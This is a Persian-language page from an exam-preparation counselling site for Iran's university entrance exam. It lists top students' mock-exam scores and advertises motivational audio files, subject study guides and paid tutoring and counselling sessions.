اینم یه نمونه ی برنامه ریزی مبحث شناسی

که براساس اون میتونید مباحث و برنامه ریزی هاتونو بچینید و به ازمون جامع سنجش هم که خیلی هاتون شرکت کردید برسید

 

دانلود قسمت هایی از همایش نیمه خصوصی رایگان شیراز سال چهارمی ها

۱۹۴۲۲۵

_______________________________________________________________________

***قابل توجه دانش اموزان ومدیران مدارس و موسسات***

برگزاری همایش برای موسسات مدارس وحتی دانش اموزان بصورت رایگان درسراسر کشور

اطلاعات بیشتر به شماره ی۰۹۳۷۰۵۷۳۷۹۶ #همایش را پیامک کنید.

———————————————————————————————————————————

راستی ازاین ببعد هرروز توی کانال یه فایل صوتی انگیزشی روزانه داریم 

اونجاهم عضو شو و گوش کنشون برات خوبه

وارد کانال شو

نفرات برتر آزمون ۶ آذر

 

 

کارنامه ی ازمونهای خودرا با تراز بالای ۶۰۰۰ برایمان بفرستید.

به کسانی که در سه ازمون پیشرفت تراز را داشته باشند(باهرترازی) خدماتی ویژه والبته بصورت رایگان به انها ارایه خواهد شد.

new

 

مهدی فاریابی

یکی از دانش اموزان موفقی که دردوره ی جزو نفرات برتر ازمونهابوده و ازاول مهر نیز درازمونهای خود توانسته باافزایش تراز و درصد در هر ازمون پیشرفت کند.

همونطور که قولشوداده بودیم خدمات مشاوره ای رایگانی برای مهدی عزیز درنظرگرفتیم که بهش ارایه خواهد شد.

 

Untitled

همونطور که در کارنامه ی ازمونهای ۲۴مهر ۱۵ابان و ۶ آذر میبینید(درلیست پایین کارنامه ها) مهدی تونست درهرازمون ۳۰۰-۵۰۰ تا افزایش تراز داشته باشه 

پس بچه ها شماهم میتونید خودتونو بالابکشیدو شروع کنید .بانگاه کردن به درصدهایی که مهدی داره میشه فهمید موفق ها ادمهای عجیب غریبی نیستن که ازفضا اومده باشند نه بلکه همشون یه راهی انتخاب وتااخر رفتن درست انتخاب مردن دقیق و نگران بود نسبت به برنامه و درسشون

شماهاهم همینطور راه خودتو انتخاب کن

خودتوبالابکش

شرط موفقیت و پیشرفت فقط یه چیزه اونم …تلاش…پس توتلاشتو بکن و تااخرش ادامه بده. 

 

شماهاهم اگرتراز بالا ویاافزایش تراز درازونهارو دارید کارنامتونو بفرستید تا شماهم ازخدمات ویژه ما بهره مندبشید.

 

مهدی فاریابی در ازمون ۶ اذر گزینه دو با تراز ۸۹۹۰+۵۵۰ تاافزایش تراز

_________________________________________________________________________________________

مهدی فاریابی در ازمون ۱۵ ابان گزینه دو با تراز ۸۴۴۰+۳۲۰ تاافزایش تراز

________________________________________________________________

خانوم مریم افتخار در ازمون ۸ ابان قلم چی با تراز ۶۷۵۲

کارنامه ی علی بهمنی درآزمون ۸ آبان قلم چی با تراز ۶۶۸۶ +۴۰۰ پیشرفت تراز نسبت به ازمون قبل

سید رضاشیرازی درازمون ۸آبان قلم چی با تراز ۵۷۴۲

محمد سنجری درآزمون ۸ آبان سنجش با تراز ۷۰۱۹٫

________________________________________________________________________________________

مریم افتخار در ازمون ۲۴ مهر با تراز ۶۸۷۶+۲۰۰ تا پیشرفت

کارنامه ی صبا یوسف زاده در ازمون ۲۴ مهر گزینه دو باتراز ۹۵۷۰

مهدی فاریابی در آزمون ۲۴ مهرگزینه دو باتراز ۸۱۲۰(کلیک کنید)

حسین عابدی در آزمون ۲۴ مهر گزینه دو با تراز ۷۴۷۰(کلیک کید)

_______________________________________________________________________________________

مریم افتخار در ازمون ۱۰ مهر قلمچی با تراز۶۶۲۳

 

_______________________________________________________________________________________

کارنامه ی مهدی فارابی در آزمون ۲۷ شهریور گزینه دو با تراز ۹۳۸۰ (کلیک کنید.)

——————————————————————————————————————————————–

کارنامه ی علیرضا رنجبر در آزمون ۳۰ مرداد گزینه دو باتراز ۱۰۳۳۰٫(کلیک کنید)

کارنامه ی مهدی فارابی در آزمون ۳۰ مرداد گزینه دو با تراز ۷۴۶۰٫(کلیک کنید.)

______________________________________________________________________________

کارنامه ی علیرضا رنجبر در آزمون ۱۶ مرداد گزینه دو با تراز ۹۷۲۰ .(کلیک کنید.)

کارنامه ی فرشته سبحانی فرد درآزمون ۱۶ مرداد گزینه دو با تراز ۷۰۱۰٫(کلیک کنید)

کارنامه ی مهدی فاریابی در آزمون ۱۶ مرداد گزینه دو باتراز ۷۴۱۰ (کلیک کنید)

————————————————————————————————————————————

کارنامه ی مهدی فاریابی در آزمون ۲ مرداد گزینه دو با تراز ۷۹۱۰.(کلیک کنید)

کارنامه ی حسین عبادی درآزمون ۲ مرداد گزینه دو با تراز ۷۲۲۰٫(کلیک کنید)

کارنامه ی علیرضا رنجبر در آزمون ۲ مرداد گزینه دو با تراز ۱۰۶۸۰ (کلیک کنید.)

کارنامه امین طاهری در آزمون ۲۵ تیر قلم چی با تراز ۶۷۰۰ (کلیک کنید)

 

کسانی که در آزمون های گزینه دو وقلم چی تراز بالای ۶۰۰۰ هزار داشته باشند

درصورت تمایل میتوانند عکس کارنامه ی خود را برای ما به ادرس asem_mohammadi@yahoo.com ارسال کنند.تا بانام خودشون به عنوان نفرات برتر قرار بگیره

لازم بذکر برای نفراتی که در چهارازمون پشت هم و بیشتر پیشرفت چشم گیری داشته باشند. خدمات ویژه رایگانی بعنوان جوایز درنظر گرفته خواهد شد.

کسانی که تراز کمتر از ۶۰۰۰ دارند نیز میتونند از فایل های صوتی برنامه ریزی و مشاوره ای استفاده کنند.تا نتایج مطلوب مورد نظرخودشونو کسب کنند.

ما با ارایه فایل های صوتی مشاوره ای برنامه ریزی و ارایه راهکار های افزایش ترازو رتبه درهرهفته به شما کمک خواهیم کرد.

پس اینجا باماشید.

 

 

 

فایل صوتی انرژی زا!!

 

 

هرساله آخرای آبان که میرسه دیگه بچه ها کم میارن و خسته میشن

یه عده که کاملا کلافه و خسته وهمش بخودشون میگن خسته شدیم هرچه خوندیم فایده نداشته

دایما باخودشون تکرار میکنن که :این ازمون ترازم کم میشه. واسه این ازمون نمیتونم خوب بخونمو خودمو بالا بکشم

اصلا از خوندم راضی نیسم ویا یه سری از بچه ها هم که کلا میگن هیچی نخوندیم اصلا تواین مدت هیچی نخوندیم یادم نیست هیچکدومشون“اما”قافل ازاینکه غول چراغ جادوی زندگی ما داره اینو میشنوه ومنتظر دستورات ماست تاانجامشون بده پس

photo_2015-11-22_17-19-10

و اونم میگه چشم قربان اطلاعت میشه

گفتم غول چراغ جادوی زندگیمون

منه محمدی به این معتقدم که زندگی ما همیشه در گرو یه دست سومی هستش که زندگیمونو جهت میده اون دست سوم یقه ی پیرهنمونو گرفته و وقتی مامیگیم زندگی مشکل یا خیلی سته اونم دقیقا مارو مثل جرثقیل بلند میکنه و میذاره بین مشکلات و یه زندگی سخت

همه ی ماها همیشه دوست داریم نوکر و خدمه و حشم داشته باشیم که کارامونو انجام بدن راننده شخصی نظافت چی یه خونه لوکس ماشین آخرین مدل و…کلی چیزای دیگه توی  فایل صوتی انگیزشی آبان ماه درباره یه غلام حلقه بگوش زندگیمون صحبت کردم ک حاضره مثل غول چراغ جادو همه ی اینارو بهمون بده بقدری حرف گوش کنه که هرچیزی که از زبانت و دهانت خارج بشه اون انجام میده

ولی برای همه ی کارایی که میخوای برات انجام بده یه شرط داره فقط یکی که توی فایل صوتی برات گفتم

این فایل صوتی بهمراه دوتااهنگ زیبا و پراز ا نرژی انگیزشی درعین حال که پرهیجانه ولی آرامش بخشه گوش کنید.

download

photo_2015-11-22_17-19-04

پکیج آموزش مطالعاتی

 

 

به نام خدا

سلام عزیزانم

این روزها اکثر بچه ها بامشکلات عدیده ای درخصوص درسهای مختلف علی الخصوص نحوه ی مطالعه ی دروس روبرو خواهند شد

لذا با حجم زیادی از مطالب درقالب جزوات مختلف از اساتید مختلف-کتاب های کمک اموزشی و منابع متعدد تستی که هرکدام روش های متفاوتی برای خواندن یک درس واحد ارایه میدهند.

برای همین تصمیم گرفتم دراول مهر یه فایل پرسش نامه تهیه کنم و باکمک خوده شما دانش اموزان مشکلات متفاوتی که از درس خوده بچه ها بعنوان گروه هدف و تغذیه کننده از این درسها بااون روبرو هستند شناسایی کرده و 

و راه حل های تخصصی و  ویژه هرکدومو بصورت علمی تخصصی با بهره گیری از تجربیات اساتید مختلف درهردرس بصورت حرفه ای و کاملا کاربردی و عملی قابل اجرابراتون جمع آوری کردیم ( چون همونطور که میدونید خیلی از روش های مختلف وجود داره که ازنظر علمی درستند ولی از نظر عملی قابل اجرا برای دانش اموز نیست و نمیتونه اجراش کنه ب دلایل مختلف مثل پایه ی ضعیف نبود امکانات اموزشی درست کمبود زمان و…)

 

اگر تو هم میخوای مشکلات خودتو در هنگام مطالعه ی هردرس که برات پیش میاد باما درمیون بذاری و راه حلشو کامل و دقیق بصورت حرفه ای یادبگیری کافیه اینجا کلیک کنی و فرم پرسش نامه پرکنی.

 

برای دریافت سری اول پکیج آموزش مطالعاتی دروس هم میتونید اینجا کلیک کنی

 

سوالات و مشکلات مشاوره ای خودتو هم میتونی با منه محمدی درمیون بذاری و توی تلگرام پاسخشو ۲۴-۴۸ ساعت بعد دریافت کنی

ولی بشرط اینکه توی کانال مشاوره ای تلگرام برنامه ۱۰۰ حتما عضو باشی و از خدمات و فایل های اختصاصی ویژه اعضای کانال استفاده کنی.

!همینجا کلیک کن!

https://telegram.me/Barname100

-فایل صوتی آموزش تخصصی مطالعه زیست شناسی

زیست شناسی را چگونه بخوانیم؟چگونه مفهومی و با استدلال دقیق بخوانیم؟

بارها و بارها پیش آمده که دانش اموزان مختلف با مشکلاتی نظیر اینکه زیاد درس زیست را مطالعه میکنند اما نمیتوانند به درستی به تست های ترکیبی و مفهومی ان پاسخ دهند گله میکنند

دراین فایل صوتی  من عاصم محمدی با اموزش ترکیبی خوانی و دسته بندی اطلاعات مختلف و مباحث ترکیبی زیست به شما آموزش خواهم داد که چگونه از پس تس ها بربیایید و مهمتر اینکه چگونگی لینک کردن مطالب بین پایه و پیش برای فهم عمیق نکات و تشخیص سریع آنهارا درقالب فایل صوتی بااموزش تخصصی دراختیارتون خواهم گذاشت.

پس میتوان زیست شناسی را ساده و دقیق ریزبینانه وبا فهم عمیق خواند.

 

باما همراه باشید.

download

 

 

**فایل صوتی آموزش تخصصی مطالعه درس شیمی**

شیمی را چگونه بخوانیم تا بتوانیم به تست ها پاسخ دهیم؟با محاسبات استوکیومتری شیمی چه کنیم؟ چه مقدار برای هردرس و هرفصل وقت بذاریم؟کدام فصل ها ارزش خواندن و وقت گذاشتن دارند؟

چگونه میتوان شیمی را بصورت ترکیبی و مفهومی خواند؟چگونه بخش حفظی شیمی را با محاسبات آن ترکیب کنیم؟دسته بندی مباحث شیمی را برچه اساسی قرار دهیم؟

تست های استوکیومتری شیمی بسیار زمان برند و محاسبه ی راه حل های انها بسیار سخت و دشوار چگونه مدیریت زمان داشته باشیم؟

تا به الان چگونه خوانده ایم؟ازالان ببعد چگونه بخوانیم؟

download

 

 

<<فایل صوتی آموزش مطالعه حرفه ای دین و زندگی>>

مطالعه ی تخصصی دین و زندگی برای ارتباط برقرار کردن باایات و مفاهیم هر آیه!آیا باید آیات را حفظ کنیم؟

مفاهیم و نکات هرآیه بسیار زیادن چگونه یاد بگیرمشون؟آیه ها و مطالب مفهومی هر آیه بسیا شبیه به هم هستن و موقع خواندن قاطی میکنم همشونو

چگونه کد گذاری کنیم؟ رمز گذاری ترجه و معنایی آیه یعنی چه؟چگونه بتوانیم مطالب مرتبط با هر آیه رو باهم تشخیص بدیم؟

پاسخ همه ی این سوالات و مشکلات مرتبط با مطالعه ی این درس را درفایل صوتی بصورت کاملا عملی و حرفه ای با زبانی ساده برتون بیان کردم.

download

 

 

 

آموزش مطالعه ی تخصصی ریاضی

بزودی…!

مشاوره ی ماهانه بهمراه برنامه ریزی ویژه برای  جبران عقب موندگی های مهر و آبان

۱۰ جلسه مشاوره ی تلفنی درهر ماه که برنامه ریزی ویژه ی منحصر بفردخودتو میتونی داشته باشی و اینکه هروقت هرمشکلی داشتی میتونی راحت بامشاورت درمیون بذاری 

توی هرزمانی که نیاز داشته باشی بامشاورت مطرح کنی که کنارته و پاسخگوی تمامی سوالات و مشکلات درسی تو هستش و میتونه با جلسات و نکات مشاوره ای و انگیزشی 

بهت کمک کنه و هولت بده تا بتونی به هدفت برسی و نتیجه بگیری.

مطمعن باش تااخرش کنارتم تا موفقیت خودت بچشی و احساسش کنی.

واسه دیدن نمونه برنامه ریزی ویژه شخصی بچه های خصوصیم که توی ۴ ماه درسهای پایه و پیش میخونند اینجا کلیک کن

#مشاوره ی ماهانه پیامک کن به ۰۹۳۷۰۵۷۳۷۹۶

اگر به هردلیلی نمیتونی مشاوره ماهانه داشته باشی وازطرفی هم میخوای مشکلات و سوالاتتو یکی پاسخ بده

کافیه یه وقت مشاوره ی تکجلسه بگیری تا بامشاورت صحبت کنی و هرچیزی که نیاز داری پاسخشو بصورت کاملا تخصصی که متناسب با ویژگی خودت باشه بگیری

#مشاوره تکجلسه پیامک کن به ۰۹۳۷۰۵۷۳۷۹۶

راه زندگی:رفتارهای شخصیتی

 

 

راه زندگی

همزمان با عید سعید قربان باشگاه راه زندگی افتتاح شد.

به بخش ویژه راه زندگی خوش امدید

ضمن تبریک عید سعید قربان خدمت شما دوستان و همراهان عزیز قصد داریم در این قسمت از سایت به مشاوره ی غیر تحصیلی بپردازیم

با پادکست هایی که تولید خواهد شد در خصوص موضوعات مختلف شخصیتی -اجتماعی و فنون زندگی برای مقابله بامشکلات بپردازیم

هدف اصلی از ایجاد این بخش این بوده که اولا سایت تنها مختص کنکور نباشه که هرکسی یکی دوسال همراه ما بوده وبعد بره سراغ زنگیش بلکه میخوایم در باره ی بعد کنکورتون هم صحبت کنیم 

و بگیم که اولا کنکور همه چیز نیست و اصلا همه ی زندگی کنکور نیست و به جنبه های دیگه  زندگی بپردازیم.

راه و رسم زندگی کردن یاد بگیریم

راه و رسم فنون  زندگی

راه و رسم پیشرفت کردن

راه و رسم موفق شدن

و ازهمه مهمتر راه و رسم شاد زیستن موفق بودن-زیبا زندگی کردن-

راه رسم احساس کردن

“احساس زندگی کردن”

پس باما در این قسمت هم همراهمون باشید.

سوالات خودتونو مشکلات خودتونو شخصیتی رفتاری خانوادگی اجتماعی در این قسمت میتونید به راحتی مطرح کنید.

فایل صوتی مشاوره ای با عنوان شخصیت های رفتاری به بررسی و تحلیل رفتار های ویژه ی هرفرد پرداخته و درآن سعی کردیم از شخصیت شناسی و رفتار شناسی 

وطریقه ی داشتن شخصیت ثابت دربرابر دیگران صحبت کنیم.کتب روانشناسی و رفتارشناسی را بررسی کرده و

باتوجه به نوع شخصیت و رفتار هرفرد بتوانیم درداشتن ارتباطی سالم.شاد.وبدون مشکل بادیگران بکوشیم.

download

 

اولین پادکست صوتی راه زندگی با موضوع شخصیت کودکی و هدف زندگی آمادست

که دعوت میکنم دانلود کرده و گوش کنید. 

 

download

 

 

 

way_of_life